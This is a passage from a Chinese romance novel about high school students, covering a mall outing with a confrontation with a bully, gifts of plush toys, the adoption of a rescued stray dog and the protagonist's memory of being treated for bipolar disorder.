顾思安语调轻快:“我们不去了,我刚才和郑相宜商量了一下,准备上楼吃北京烤鸭,我可喜欢那家饭店了,你们去吃火锅吧。” 30 巴掌 “行了,专心吃饭吧。”纪明川随手翻了一页菜单,又指着其中一栏问她:“要不要再加一份主食,或者甜品?” 楚天青摇了摇头:“等菜都上齐了再说吧,别点太多,浪费了就不好了。” 纪明川把菜单合上,放到一旁。 服务员接连送上菜盘,还用公筷将几样素菜和肉片放入锅中。滚烫的汤底彻底沸腾了,热气氤氲,香味在空气中弥漫开来。 楚天青双手托腮,双眼一眨不眨,默默地盯着火锅的汤底,又开始走神了。其实她已经很饿了,幻想已久的美食出现在自己面前,再过几分钟就能吃到了,这种奇妙的感觉,让人安心,又有点恍惚。 纪明川侧过脸,看了一眼调料台。心里还在盘算,吃火锅,必须配上蘸料,可调料这种东西,极其私人化,酸甜咸辣,哪种多一点都会影响口感。他简短地说了一句:“你自己来比较好。” “嗯?”楚天青回过神来,站起身,从一旁的自助台取了酱油、辣椒油和辣椒粉,放入碗里,随意搅了搅,就算完成了。 纪明川看见了她的调料配方,有些诧异,却什么都没说。 这一顿饭,他们三人吃得安安静静,偶尔也会说一两句话,却不再有针锋相对的意思。之前那种剑拔弩张的气氛,仿佛已在热气腾腾的锅边散尽了。 楚天青心里其实是很高兴的,但她笑不出来。她低着头,一口一口认真地吃着,这样的美食,却不能消除她的顾虑,脑海里隐约浮现出妈妈的叮嘱:“人家为什么要请你吃这么好的东西?” 这顿饭吃完以后,纪明川拿出手机,熟练地结了账。 楚天青重新背上书包,跟着纪明川走出火锅店。她脚步一顿,下定了决心:“你喜欢什么东西?我给你买。” 他们二人正站在人来人往的商场之中,四周的喧闹声此起彼伏,好像永远不会停止。 纪明川背对着楚天青,背影笔直而挺拔,原本正在看出口在哪里,听见她的话,他转过身来:“你……” 纪明川的眼神里,多了点错愕:“你不用给我买什么……你把钱留着,照顾好自己,比什么都重要。” 楚天青和他对视了几秒钟,那些嘈杂的声音仿佛淡去了,她的视野之中,只看见他一个人。 她有些茫然地点了点头,又摇头:“不,我应该给你买个礼物。” “我什么也不缺,但你要是真想送我东西,”纪明川停顿了一下,才说,“那你以后别对自己太苛刻,也算送我一份礼物了。” 楚天青低头想了一会儿,没想明白,又抬头看他:“可是,我对自己怎么样,和你又有什么关系?这为什么会是……送给你的礼物呢?” “我只是希望你有更好的状态,”纪明川往一旁走去,“不要被情绪拖累了。” 他与她之间的距离更远了,仿佛这个话题不该被追问,也不该说得太郑重。 楚天青正想给顾思安、郑相宜打电话,忽然听见身后传来脚步声。 许月亭提着一袋饮料走了过来。他从纸袋里拿出一瓶奶茶,递到楚天青面前。 楚天青低头一看,是芒果抹茶牛乳。她很惊讶:“你怎么知道我喜欢吃芒果?你什么时候发现的?” “我看见你的手机壁纸上有一颗芒果。”许月亭把吸管也递了过来。 楚天青还没来得及感谢他,纪明川从前面折返回来:“你们在聊什么?” 许月亭晃了晃手里的袋子:“饮料,要来一瓶吗?” “不用了,”纪明川立即拒绝,“才刚吃完午饭,又喝奶茶,对消化系统不好。” 楚天青一听,也觉得纪明川这话说得很有道理。她看看手里的奶茶,迟疑着想要还回去。 然而许月亭笑了笑,似是一副很为难的样子,楚天青就干脆把奶茶和吸管都拿在手里了。 “再逛一逛吧,”许月亭说,“就当是饭后散步了。” 楚天青点头。商场负一层的灯光不算强烈,均匀地映在地砖上,就连缝隙也照得分明。 她往前跑了一段路,经过一家毛绒玩具店,怔怔地看了几秒,最终还是移开了视线,又跑向了通往一楼的扶梯。 抵达一楼以后,楚天青打算找到郑相宜和顾思安,然后就可以和纪明川、许月亭告别了。然而,随着一楼的景象映入眼帘,她又看见了一道熟悉的身影。 陆子昂戴着一顶黑色棒球帽,帽檐压得很低,右手插在裤兜里,左手握着手机。他也正好抬头,目光穿过喧闹的人流,准确地落在楚天青身上。 他朝她快步走来。 楚天青握紧了拳头,刚想转身离开,却又止住了脚步。她什么都没做错,当然也没什么好逃的。 她走到一根立柱边,侧身站定,直面陆子昂:“你怎么也在这里?” 陆子昂扫视着楚天青,又注意到了站在她身后的纪明川和许月亭,他“扑哧”一声笑出来了:“真行啊你?哎,你还挺有品味的。” 陆子昂还是那副吊儿郎当的模样,没个正形,仿佛从来没学过什么叫“好好说话”。 楚天青忽然烦躁起来,语气更加冷淡:“别说这些废话了,既然没事,你就让开吧,我还得早点回学校。” “啧,你哪儿来这么大火气?”陆子昂又往前挪了一步,目光在她脸上扫了一圈,“我问你,郑相宜呢?你们不是一起出来的吗?” 楚天青的火气还没消退:“我怎么知道郑相宜在哪?你想知道,你自己给她打电话,手机不是在你手里吗?” 陆子昂这才察觉出不对劲。楚天青刚到一楼时,脸上还带着笑意,眼神也是温和的,现在却像是忽然换了个人,就连表情都完全改变了。 “你是不是有精神分裂症啊?”陆子昂皱紧了眉头,“你和纪明川、许月亭聊天,就能轻声细语,我问你一句话,怎么就像欠了你八辈子的钱?” 今天是周末,此时又是中午,商场一楼正值客流高峰期,众多店员也站在各个商店的门口。陆子昂提高了声调,引来不少人侧目。 “你说话注意点,”纪明川淡声开口,“这里毕竟是校外,人多眼杂,真要闹出什么事,你脸上也不好看。” 陆子昂深吸一口气:“又是你,小人得志,又在威胁我?” “他可没威胁你,”许月亭忽然笑了一下,“而且,你不能说他是小人……看上去,他的身高比你高了不少。” 陆子昂双手抱臂:“也就你们这种人,才会在意身高。” 许月亭低头看了一眼他的鞋底:“你今天穿增高鞋,应该是为了好看吧?嗯,其实挺自然的,没几个人能察觉出来。” 陆子昂根本没穿增高鞋,他忍无可忍:“许月亭,你这张嘴,越来越讨人嫌了。阴阳怪气那一套,你以为没人收拾得了你?小心哪天你爸妈又被公司外派,到非洲那边待几年。” 楚天青站在一旁,忽然就明白了。原来陆子昂是这种人,仗着家里有点关系,在同龄人之间随意施压,讲话时不需要逻辑,只看谁敢反驳。 他的那些话,听上去好像很有威胁,但只要想一想,就知道是漏洞百出。 首先,一个连高中都没念完的学生,凭什么动用“外派”资源?其次,许月亭父母的工作地点,是跨国企业的内部安排,不归地方管辖,陆子昂说得如此放肆,倒像是他能操控全球经济一样。 楚天青忽然觉得有点可笑。她从前竟然也有一瞬间,相信过陆子昂所谓“能让校长护着他”的鬼话。 没必要再白费口舌了,楚天青转头对纪明川和许月亭说:“我们走吧,别理他。” 他们三人转身离去,显然不愿再与陆子昂有任何纠缠。就在这时,郑相宜和顾思安从远处跑来,正要与他们汇合。 陆子昂迎了上去,拦住郑相宜的去路:“我给你打电话,你怎么不接?我都看到你了,还想躲?” 郑相宜手里提着两个纸袋,还未站稳,陆子昂就伸手去夺:“给我吧,我来拎……” “别烦我,”郑相宜的声音冷得像刀,“我说过多少次了?别再烦我,你听不懂人话吗?!” 陆子昂的手依旧没收回,郑相宜发了一股狠劲,猛地一甩,“砰”的一声,两个袋子砸在地上。 楚天青立刻俯身去帮她捡,而陆子昂的手臂也恰好探过来,混乱之间,楚天青手里的奶茶“哗啦”一下,全部泼在了他的裤子上。 陆子昂低头一看,整条裤腿湿了一大片,带着奶油和芒果的液体慢慢往下淌。他终于喷发了积压已久的怒火,大吼一声:“你们是不是脑子有病?!别太把自己当回事了,谁都得围着你们转是不是?真当自己多了不起!” 他抬头,只见郑相宜的眼神里充满了戾气,她盯着他:“你是不是听不懂人话?” “哎,”他故意激怒她,“你们听得懂吗?我这条裤子一万五千八,你先让楚天青赔钱给我,不然今天这事没完了。” 郑相宜双手微微发颤,不是害怕,而是愤怒,几近炸裂的愤怒。她额头上甚至爆出了青筋,脸上的表情完全不是他曾经以为的清冷温柔,只剩下极致的厌烦与杀意。 “我忍你很久了。”她忽然上前一步,抬手就狠狠甩了他一巴掌。 陆子昂猛然往后退,避开了那一巴掌,郑相宜的掌风仍然擦着他脸颊掠过,凌厉无比,她毫不掩饰自己的恨意。 “你们这是在做什么?”不远处,忽然传来一道轻柔的声音。 陆子昂回头,看见他妈妈慢慢走了过来。她穿着剪裁得体的香槟色连衣裙,后面跟着两个助理。她脸上没有一丝怒气,甚至还带着一点笑意。 她伸出手,搂住陆子昂的肩膀,动作亲昵却不失分寸:“我刚才还说,小昂跟朋友出来玩,要注意礼貌啊……原来是郑家的小姑娘。” 她的眼神在郑相宜脸上停留了一秒,这一秒温柔得像春风拂过:“这场面,倒是让阿姨我有点不好意思了。” 她笑着看了看大家,又轻拍了一下陆子昂的肩膀:“你啊,嘴笨就少说两句。年轻人随口吵一吵,没什么的,要是让别人误会你欺负女孩子,那就太不像话了,是不是?” 她的笑容之中,似乎还有几分歉意:“今天要不是我刚好来接人,还不知道要惹出多少误会,你们别往心里去啊。谁年轻的时候没点火气呢,对吧?” “妈,”陆子昂抬起一只脚,“我裤子脏了。” “脏了就脏了,”他妈妈拽了他一把,“回家洗干净不就好了?” 她拉着他往外走:“你可别因为这点小事去找人算账,懂点分寸,比你裤子干净重要多了。” 31 毛绒玩具 陆子昂和他的妈妈已经走远了,郑相宜的心情还没平复。 郑相宜反复回想陆子昂妈妈的话,总觉得有些奇怪,但又说不上哪里奇怪。 她也有些懊恼,自己刚才是不是太冲动了?可是陆子昂之前给她打了十几个电话,她把他拉黑了,他又换了号码打过来。她心里烦得很,情绪就这样爆发了。 她大概能猜到他的心思,他幻想中的郑相宜是高冷温柔的,然而,真实的郑相宜并不温柔。大多数时候,她只是懒得和别人争辩,但她的愤怒和野性一点也不比别人少。 楚天青也看出了郑相宜的烦躁不安。她抬手指了指扶梯:“要不,我们去楼下找一家店,坐一会儿,聊聊天,休息一下吧?” “好!”顾思安第一个答应,“我想喝柠檬茶,刚才我真是吓死了,陆子昂他妈气场好强,我现在想想还背后发毛。” 许月亭低头看了一眼手表,刚抬起头,纪明川忽然开口:“你要是赶时间,可以先回去。” 许月亭笑了笑:“你不赶时间吗?” 纪明川略微侧过脸,他和楚天青的目光相遇时,他也笑了一下:“我很久没来过这里了,难得热闹。” 这倒是真话。他心里明白,如果现在回家,家里也只有他一个人,还不如在商场闲逛一会儿,融入热闹喧嚣的人群之中。嘈杂的声浪里充满了烟火气,不同于他日常习惯的安静生活。他向前迈出一步,距离楚天青更近了。 “那我们走吧。”楚天青弯下腰,捡起地上的空奶茶杯,顺手把杯子扔进了垃圾桶。 郑相宜没说话,直接转过身,往扶梯走去,楚天青连忙追上她的脚步。 他们一行人来到了负一楼,找到一家咖啡馆。室内铺着深色木地板,墙面上挂着几幅风景油画,靠墙一侧还有一处弧形卡座,座位上嵌着一圈棕色皮革软垫,坐上去略有弹性,比教室里的木椅更舒服。 楚天青抱着书包,坐在正中间。她的头顶上是一盏花枝型金属吊灯,灯光昏黄,映照着桌上花瓶的瓷白釉面,她犹豫了几秒,还是没打开摆在花瓶侧边的那一本菜单。 郑相宜、顾思安坐到了她的左手边,许月亭和纪明川坐到了她的右手边。纪明川刚才走神了,迟了一步,只能坐在最边上。许月亭与楚天青的座位却是紧邻着的,虽然他们二人隔着至少二十厘米的距离,纪明川还是有些心烦意乱。 许月亭翻开了菜单:“你们都喜欢喝什么饮料?” 此时,恰好服服务员走了过来,问他们要点什么单,纪明川随口说:“麻烦来一杯苦咖啡,越苦越好,谢谢。” 楚天青笑出了声:“你喜欢喝苦咖啡吗?要多苦的,你才会满意呢?” 服务员微微弯腰:“您好,今天的主理人推荐您试试耶加雪菲,或者瑰夏,都是我们店里很受欢迎的精品咖啡豆,也都是现磨现冲的风味,耶加雪菲会更清爽一点,瑰夏细腻柔和,口感层次也更丰富,请问您喜欢哪一种呢?” 楚天青偷偷瞄了一眼菜单:“瑰夏太贵了,要六百块钱一杯,耶加雪菲也不便宜,都好贵啊……” 郑相宜本来还想吃一块蛋糕。她扫视着菜单,这才发现,蛋糕的价格都在三位数以上。太阳穴猛地跳了跳,她双手提起纸袋,站起身来,鞋底一滑,飞快往店外跑去。 这里的消费水平,竟然把郑相宜都吓跑了,楚天青又怎么敢多待一秒呢?她和顾思安一前一后冲出了咖啡馆。 纪明川拎着书包,脚步依旧平稳,走在楚天青身后。虽然没喝上苦咖啡,但他的心情似乎很不错,他说:“我一坐下来,就觉得那个座位不合适。” 咖啡馆里只剩下许月亭一个人,服务员正在和他说话,他的语调低沉平和,又很有分寸感:“不好意思,我们都是学生,预算有限,可能不太适应这种消费,打扰了。” 许月亭走出咖啡馆,看见楚天青一行人都在等他。他有些惊讶,随即又露出笑容:“我以为你们会先走一步……” “哇,你刚才在咖啡店里,好会说话,”楚天青这才反应过来,“而且你好像一直很冷静,从来不会生气,你是怎么做到的呢?” 楚天青的感叹发自内心。她真的觉得,她认识的每一个同学都好厉害,各有各的优点。她很想从他们身上学习这些优点,让自己变成更厉害、更优秀的人。 “可能是读初中的时候,我在学校里,经常和别人吵架,”许月亭说得很随意,“久而久之,就习惯了,也锻炼出来了,吵得多了,反而不太容易生气了。” 纪明川语气淡淡地评价:“呵,怪不得。” 纪明川心中暗想,这个许月亭,真是不能小看,不仅在非洲的广阔土地上历练过,甚至还习惯了激烈冲突,难怪他总是一副没脾气的样子,无论如何都不会动怒似的。 许月亭又看向了纪明川:“你很容易误解别人。” “误解?”纪明川忽地笑了,“你哪句话不容易让人误解?” 许月亭沉默了几秒,认真思考了一下,然后才说:“也许你只是太在意了。” 气氛又有些紧张,顾思安忍不住插嘴:“许月亭,之前我们在一楼,你和陆子昂吵架的时候,怎么那么快就把他气炸了?当时他腮帮子都鼓起来了,好像一条安康鱼。” 许月亭也笑了,慷慨地向大家传授吵架技巧:“吵架的本质就是攻击对方,只要找到对方的要害,再说一句话就够了。不过也不能说得太绝,凡事都要留点儿余地……” 原来如此。 楚天青记下了这个生活小妙招,又开始自言自语:“其实,当时你说陆子昂穿了增高鞋垫的时候,我也有点恍恍惚惚的,因为我的个子比陆子昂还矮。陆子昂应该也有一米八了吧?可我的身高还不到一米八,在你眼里,我是不是也是一个矮子?” 他们仍在往前走,纪明川脚步一顿,低低地笑出了声:“身高这种事,没必要在意,真正重要的,从来不是这些东西。” “是啊,”郑相宜接话道,“陆子昂虽然有一米八,但是他很烦人,如果他有一米九,只会更烦人。” 忽然一阵铃声响了起来,许月亭从口袋里拿出手机,接通电话,是他父亲打来的,问他什么时候回家,提醒他下午还要去辅导机构补课。 许月亭没说太多,很快就挂断了电话。他看向楚天青:“我对陆子昂说那些话,只是针对他一个人……” “嗯,我明白!”楚天青和他挥手,“你赶紧走吧,别耽误你上课了。” 许月亭朝着他们点了点头,笑着说了一声:“我先走了”,然后独自一人离开了商场。 纪明川站在原地,目送他的背影离去,忽然觉得神清气爽,就连呼吸都顺畅了不少。 现在是下午一点四十,商场里的客流量更大了,街道上人声鼎沸,比之前更热闹了许多。 楚天青环视四周,又看见了那一家毛绒玩具店。这一次,她没能抵挡住诱惑,脚步一转,直接钻进了店里。 她一眼就看中了一条毛绒鲨鱼,安安静静地躺在一只浅草色竹筐里,蓝白相间的身体,蓬松柔软的绒毛,真是好可爱的小鲨鱼。 她不由得走近了,站在竹筐前,想伸手去摸,又有点迟疑,只是低着头看着它,大概有一只手臂那么长,放在床上刚刚好,抱在怀里也正合适。 正当她出神的时候,忽然又有一只手从她腰侧经过,毫不犹豫地抓起竹篮里的鲨鱼。她回头,纪明川正站在她面前,神色平静,手里还拿着毛绒鲨鱼。 “你,”楚天青怔怔地看着他,“你也喜欢毛绒鲨鱼吗?” 纪明川和她对视两秒,才说:“还好吧,以前也没想过这个问题。” 楚天青指了指他手里的鲨鱼,迟疑着问:“那你这是……” 纪明川低头看着那个玩具,好像突然回过神来:“随手拿的。” “你也想买小鲨鱼吗?”楚天青急忙追问,“好像没剩几个了,它非常受欢迎,我在网上也看过照片。” 纪明川没来得及回答,楚天青已经拉开了书包拉链,手忙脚乱地掏出两本笔记,一本化学,一本生物,全都递到他面前:“都给你。” 纪明川问:“你要用笔记本帮小鲨鱼赎身吗?” 楚天青使劲点头:“嗯,是的,够不够?” 纪明川又顺手拿了一只毛绒小狗和一只毛绒海星,径直走向收银台。这三只毛绒玩具都不便宜,甚至称得上昂贵,这个商场里几乎没有便宜的东西,但他付款时依旧平静,眼睛也没眨一下。 服务员从仓库拿来了全新的毛绒玩具,小心翼翼地包好,放进一个印着logo的纸袋里,递给他:“感谢支持,欢迎您下次再来。” 纪明川转身就把纸袋交给楚天青,她动也不动地静立几秒,才伸手把纸袋抱进怀里,说话的声音轻不可闻:“谢谢你……你人真好,这是我收到过的……最贵重的礼物了。” 她把两本笔记塞进他怀里:“不用还给我了,你一直留着吧。” 纪明川翻开了一本化学笔记,随意扫了一眼,纸上字迹条理清晰、直切要害,远远胜过市面上绝大多数参考书。他不再推辞,把笔记本装进书包:“我看完了就还给你。” 楚天青完全不在意笔记本,只抬头看着他,问得很认真:“可是你刚才……为什么想买小鲨鱼呢?” 纪明川声音很低:“以后你看到大海,不要想非洲好望角,想想这个鲨鱼,行吗?” 他并不是在叙述原因,而是在提出请求,含蓄又直接,像静河里的暗流,从她悸动的心跳中流过去,而她依旧懵懵懂懂,好像明白了什么,又好像一点也不明白。 她记得,许月亭给她看过的那些照片,宽广海面上,水天一色,好望角的海浪滚滚而来,拍打着嶙峋陡峭的礁石,可那毕竟是好望角,异国他乡的风景,离她的生活太远了。 而那一只毛绒鲨鱼,已经在她的怀里了。 楚天青抱紧了纸袋,又忍不住问:“那……那你为什么还买了小狗和海星呢?” 纪明川语气很轻:“以后你再买毛绒玩具,合在一起,可以组成一支毛绒玩具军团,分成海洋动物和陆地动物两个队伍。” “啊?”楚天青愣住了,没想到他会这样回答。她笑出了声:“嗯,还可以分成爬行类、两栖类、鱼类、鸟类……” 店里的人渐渐多了起来,笑声、说话声、喊叫声混在一起,听上去有些刺耳。楚天青对噪音十分敏感,脸色微变,纪明川引导她往外走:“你考虑得非常周到。” 楚天青跟在他身后,却说:“你也挑一个吧,我也想给你买一个。” 纪明川转过身,对上她的视线。她目光真挚,毫无躲闪:“你喜欢哪一个?” 纪明川本想拒绝她,但她往前走了一步,直盯着他的双眼。他从她眼里看见他自己的倒影,还有周围那些颜色各异的毛绒玩具。 这是一个毛绒世界,他眼前的一切都是蓬松柔软的,他不该长久地停留其中,但他始终没有走出去,就连说出口的话,也并未经过思考:“好吧,也不是不行。” 她的眼睛更亮了。她的眼睫毛也很长,她肤色很白,她是不是很少晒太阳?但她建议他经常晒太阳,说是会让他心情变好。 纪明川仍在胡思乱想,混乱的思绪已汇成江河,淹没了他的脑海。他随手抓了一只最小的毛绒玩具。他比划了一下,大概是他掌心的四分之一大,那是一条小金鱼,鲜红与金黄交织而成的颜色,圆溜溜的黑色眼睛,倒也勉强称得上可爱。 楚天青从他手里接过金鱼,快速跑向了收银台:“你好,我想买这个小金鱼。” 服务员对她一笑:“是送人的吗?” “是的,”楚天青拿起手机,“请你帮我包得好看一些。” 这条小金鱼也要将近四十块钱,楚天青毫无犹豫地付款了。没关系的,她心想,再努力一点,再多赚几次奖学金,就可以把这一笔钱……完完全全补回来。 楚天青拎着纸袋,转身走出店外,纪明川正站在门口等她。她双手把纸袋交上去,像是交作业一样郑重,纪明川也双手接过来,她笑着说:“小鲨鱼和小金鱼。” 纪明川立即明白了她的意思:“你是鲨鱼,我是金鱼?” 楚天青跑出了几步远:“金鱼也可以长得很大,我在公园里见过,超级无敌巨大!” 前方不远处,郑相宜和顾思安刚从一家蛋糕里出来,郑相宜买了两块巧克力水果蛋糕。她们朝着楚天青招手,准备和她一起回学校了。 今天的商场奇遇到此结束,楚天青和纪明川就要分别了。 楚天青没说“再见”,只是朝着纪明川招了招手。纪明川却没回应她,他看着她和郑相宜、顾思安一同走远,直到她们的身影完全消失在长街尽头,他才把那只金鱼从纸袋里拿出来。 纪明川捡起了金鱼身上标价牌,三十六元,这么贵?他当时并未看清价格,楚天青就去收银台结账了。 今天,楚天青竟然为他花费了三十六元,这么一笔巨款,只因他挑中了这一条金鱼。他怀疑顾思安、郑相宜也从未得到过这样的礼遇。他心中的疑虑不曾消散,半是庆幸、半是懊恼,不知自己一时大意的选择是否加重了她的负担,更不知要用什么办法把这些钱还给她。 走出商场时,太阳高照,天气还是十分炎热,纪明川打了个网约车,直接回家了。 家里没人,他早已习惯了。 纪明川洗了个热水澡,又换了一身衣服,在书房学了三个小时,认真钻研楚天青的那两本笔记。他发现她词句精简,思维清晰,总结出来的规律更是一目了然,每一句都是重点中的重点。 他曾经看过她的物理笔记,本以为她的优点已在物理这门学科上充分显现出来,谁知她的化学、生物功底也是毫不逊色于物理。 傍晚时分,纪明川在厨房煮了一碗番茄牛肉面,加了两个荷包蛋,再把面碗端到餐桌上。吃到一半,他忽然停下筷子。 屋子里太安静了,安静得能听见筷子碰到碗沿的细微声响。 手机轻轻震动了一下,纪明川从书包里掏出手机,点开一看,是宠物医院的消息:花卷情况稳定,经过检查,已基本痊愈,疫苗打过了,驱虫也做过了,明天就可以出院了。 他往下翻,看见微信班级群里,三天前,王老师发了一条消息:保卫科又在校内发现了几只流浪狗,已交由相关人员临时照看,等待后续安置。如果学生再遇到类似情况,请立即通知班主任,不要擅自接近。 纪明川合上手机,吃完饭,洗净了碗筷,收拾了餐桌,又擦了一遍灶台。洗碗池一尘不染,灶台干净得发亮,他走出厨房,看向了墙上的挂钟,晚上七点半了。 这时,家里的指纹门锁响了一声,防盗门被推开了,纪明川的爸爸妈妈回来了。 爸爸轻声感叹:“哎,不错啊,才七点半,咱们今天回家挺早的。” 妈妈一边换鞋,一边问:“小明,吃过晚饭了吗?” “吃过了,”纪明川回答,“也把厨房打扫过了。” 爸爸已经换好了鞋,又把公文包放入了木柜里:“你去年不就说,想要一条金毛吗?爸爸帮你联系了北京的犬舍,是你伯父推荐的,正好,他们下个月就有一窝,一共三只,赛级冠军双血统,是那种淡金色的金毛,你肯定喜欢,待会儿爸爸把手机里的视频拿给你看看。” 怎么这么巧? 纪明川从来不在意价格,但他今天忽然问出口:“多少钱一只?” “两万多吧,将近三万,还要提前预定,”爸爸的手机递了过来,“你看看,你伯父说他要出钱给你买了,高三学业紧张,你养个小狗,放松一下心情也好。” 妈妈也支持爸爸的说法:“是啊,平常你总是一个人在家,我和你爸都挺担心你的,你又不愿意住校,养只狗也行。” 纪明川的父母都在医院工作,他们的好友在精神科。他们与好友日常聊天时,听过不少因为心理压力而导致的病例。在他们各自的职业生涯中,也亲眼目睹了积极的心态对病情的影响。 正因如此,他们一直尽量照顾纪明川的情绪,从不对他施加过多压力,也从未在大庭广众之下责骂过他。纪明川也很让父母省心,从他上高中起,日常生活都是他自己规划,不需要父母为他担忧。 爸爸妈妈都坐到了沙发上,纪明川站在一旁:“两万多的金毛,还是有些贵了,我之前说过,我在学校里捡到一只小狗,送到宠物医院去治病了,它明天就痊愈了,我想把它接回家养,宠物用品我已经买过了,也不用再额外花钱。” “哦?”爸爸有些奇怪,“你什么时候变得这么……节俭了?” 纪明川也坐了下来:“我也不是节俭,你们说的赛级犬,肯定能找到很好的主人。医院里的那只土狗,大概率只有我能养了。” “那就养吧,”妈妈毫不犹豫,“明天接回家,给你做个伴,挺好的,你本来就想养小狗,那不是正好吗?” 爸爸也附和了一句:“我看过那只小狗的照片,很可爱的,有些土狗长大了以后也是威风凛凛的,不比金毛差。” 既然父母都同意了,纪明川也没再多说什么。父母一向对他很好,从小到大,他们总是给予他足够的理解和自由。 次日清晨,纪明川独自去了宠物医院,把花卷接回家了。 花卷还是一只不到五个月大的小狗,性子安静得出奇,几乎不怎么叫出声。哪怕是被纪明川带到了完全陌生的环境里,它也不哭不闹,小心翼翼地四处看了看,很快就冷静了下来。 纪明川陪它玩了一会儿,它趴在他手上,打了一个哈欠。他把它送进狗窝里,它蜷缩起来,闭上眼睛睡着了。 纪明川坐在木地板上,轻轻抚摸它头顶的柔软毛发,声音低沉,像是自言自语:“欢迎回家,从现在开始,你就过上了吃饱了睡、睡饱了吃的生活,再也不会流浪了。” 花卷的毛发黑亮柔顺,耳朵已经立了起来,看上去像是一只还没长大的小狼狗。 纪明川又抓住了它的一只爪子。它的爪子并不大,骨量适中,成年之后,应该是中型犬。 纪明川随手给它拍了张照片,发到朋友圈,只对楚天青一人可见,配文只有一句:“一只花卷,正在睡觉。” 几分钟后,楚天青发来消息:“花卷在你家里吗?!” 纪明川秒回:“接回来了,也给它打过疫苗,驱过虫,洗过澡了,准备下午带它出去走走,今天天气不错。” “那我也可以和你一起去遛狗吗?”楚天青急忙问,“昨天才刚考完试,今天不上课,我也想看看花卷。” 一起遛狗? 会不会不太合适? 纪明川的指尖悬停在屏幕上,楚天青竟然发来了一串“求求你了”的圆头表情。他笑了一声,唇角微微弯起,可不知怎么回事,又想起这个表情似乎是许月亭传授给楚天青的,笑意凝固在他的脸上。 纪明川的指尖轻触了一下屏幕,打出一行字:“下午四点,学校东门门口见。” 又补充一句:“尽量别让其他同学看见,只是遛狗而已,被误会了就不太好了。” “误会什么?”楚天青非要问。 她等了一会儿,才等来纪明川的回答:“我是说,我们的关系……” “是同学,”楚天青飞快地回复,“也是朋友吧?昨天你请我吃了饭,送了我三个毛绒玩具,我给你买了小金鱼,也把笔记本都给你了。” 真是礼尚往来,互不相欠。纪明川心想。他的语气还是很客气:“谢谢你的笔记本,昨天我看了十几页,学到了不少东西。” “怎么样,”她又问,“对你很有帮助吗?你有什么不懂的,可以问我,我都会告诉你的。” 32 寝室停电之夜 昨晚下了一场雨,洗去了盛夏暑气,今天的天气很好,气温不高,街上也起风了,吹到身上更是凉快,让人提前感知到一丝秋意。 下午四点,纪明川带着花卷走到了学校门口。 花卷还是只小狗,对什么都感到好奇,时不时停下来,东张西望。但是它的胆子不大,当它害怕的时候,它那一双耳朵会往后收紧,从立耳变成平耳。 花卷尤其害怕那些迎面跑来的人。 考虑到它曾经流浪过,纪明川怀疑它是不是被人追着打过? 路边有人正在跑步,花卷顿时往后缩了缩。纪明川弯腰把它抱了起来,放进怀里。它一点也没挣扎,纪明川就这么抱着它,走了一段长路。 纪明川还对它说:“你差不多也有十斤重了,以后还是要尽量自己走路,等你长得越来越大,我总不能每天都这么举着你出来遛弯,邻居会觉得我们两个都有毛病。” 花卷似乎没听懂。它的脸太黑了,纪明川看不出它的表情。 到了学校门口,纪明川把花卷放了下来。楚天青也从校园里跑了出来,笑着喊了一声:“花卷?” 花卷的尾巴疯狂摇动,楚天青蹲下来,摸了摸它的脑袋。然后,她很自然地从纪明川手里接过了狗绳,和他一同走向了学校旁边的一片草地。 草地上种着几棵高大繁茂的橡树,浓密树荫之下,他们二人一前一后地走着,刻意拉开了一段距离。 这可把花卷急坏了。它跑向楚天青,又折返回纪明川身边,来回地跑了一会儿,累得直喘气。 纪明川低笑了一声,从裤兜里拿出一小袋干粮,轻声招呼:“过来,坐下。” 楚天青有些惊讶:“你在给它上课吗?” 纪明川的语气很温和:“我最近在网上看了不少教程。花卷很聪明,已经能听懂‘坐下’和‘随行’了。” “那一定是你教得好,”楚天青站到了一旁,观望他给小狗上课,“你以后要是教我做什么,一定也能教得很好。” 纪明川差点说出一句“我教不了你”,还好,他及时改口,勉强答应道:“也行,以后再说吧。” 他自己都没什么底气。 楚天青却说:“好啊!以后你要教我……怎么种花、怎么养花,等到花开了以后,我会把第一支玫瑰送给你。” 纪明川的心跳猛然加快。他立即转头望向远处一棵枫树,以免被她看出任何异样,不过是一句话、一朵花,他不该如此轻易地被她打动。这么一想,他渐渐平静下来。 或许是因为他长久以来习惯了独自一人的生活,每一次与她近距离交谈,都像是踩在一张轻薄鼓面上,哪怕是最细微的动静,也能激起一阵热烈回响。 楚天青不知道纪明川正在想什么,只看见他出神地望着远处那棵树,也不再和她说话了。她往后退了一步:“那你继续遛狗吧,我先回学校了。” “这么快就回去了?”纪明川回过神来。 “嗯,”楚天青朝他挥了挥手,“你有时候会突然发呆,为什么呢?要不要去查一下……是不是,嗯……注意力障碍,或者情绪障碍什么的?” 纪明川惊讶地看着她,怎么,难道她觉得他不正常吗?他认真解释:“我没有任何障碍,谢谢,我一般还是很正常的……” “不是的,”楚天青打断了他的话,“有时候,你觉得自己正常,但你不一定真的正常。” 楚天青之所以这么说,是因为三年前,她第一次犯病的时候,她连续几天不眠不休都在看书,还觉得自己效率极高,仿佛马上就能做出什么惊天动地的成就。她不停地翻书,精神极度亢奋,完全没有一点困意。 然后,所有的热情会在一瞬间消失,心里空落落的,就连呼吸都觉得费劲。疲惫和困倦将她击倒,她躺在床上昏睡几天,不吃饭,也不看书,除了睡觉,什么也做不到。 妈妈把她送去医院,她才知道,原来这是躁郁症。即便如此,当时她真的一点也不觉得自己生病了,她还想尝试接受自己反复波动的情绪。 她的状态时好时坏,像是过山车一样,在高峰和低谷之间来回切换,甚至连喘息的间隙都没有。 她经常哭,哭得眼睛肿起来,外婆和妈妈一直在安慰她,说她一定会痊愈,等她痊愈了,她就能做她喜欢的事,而不是瘫在床上,睁不开眼睛。 治疗的过程很漫长,差不多花了整整一年,那些症状才消失了。 后来,她又看了一些关于心理健康的书籍,也会观察他人的异常状态。 她对纪明川说:“我只是……关心你。” “有时候我真的分不清,你到底是什么意思,”纪明川仰头望天,“可能我会渐渐习惯被你羞辱。” “羞辱”这个词一出来,纪明川自己吓了一跳,楚天青也吓了一跳,她立即道歉:“对不起!我不是那个意思!请你一定要相信我!在临床上,经常性的突然发呆,可能与许多症状有关,包括,短暂性失神发作、注意力障碍,焦虑症、抑郁症等等……” “行了,你不用再解释了,”纪明川望着天上乌鸦飞过,“你看,是只乌鸦,为什么不是喜鹊?” 楚天青忍不住笑了:“其实乌鸦是很聪明的……” 话没说完,她又转回上一个话题:“你有没有原谅我?对不起啊,我真的不是那个意思!我就是很关心你,你明白吗?” “大概明白。”纪明川还是留了些余地。 他牵过狗绳,走了几步:“什么时候你给我展示一下,你真正羞辱别人是什么样,我就更能明白了。” 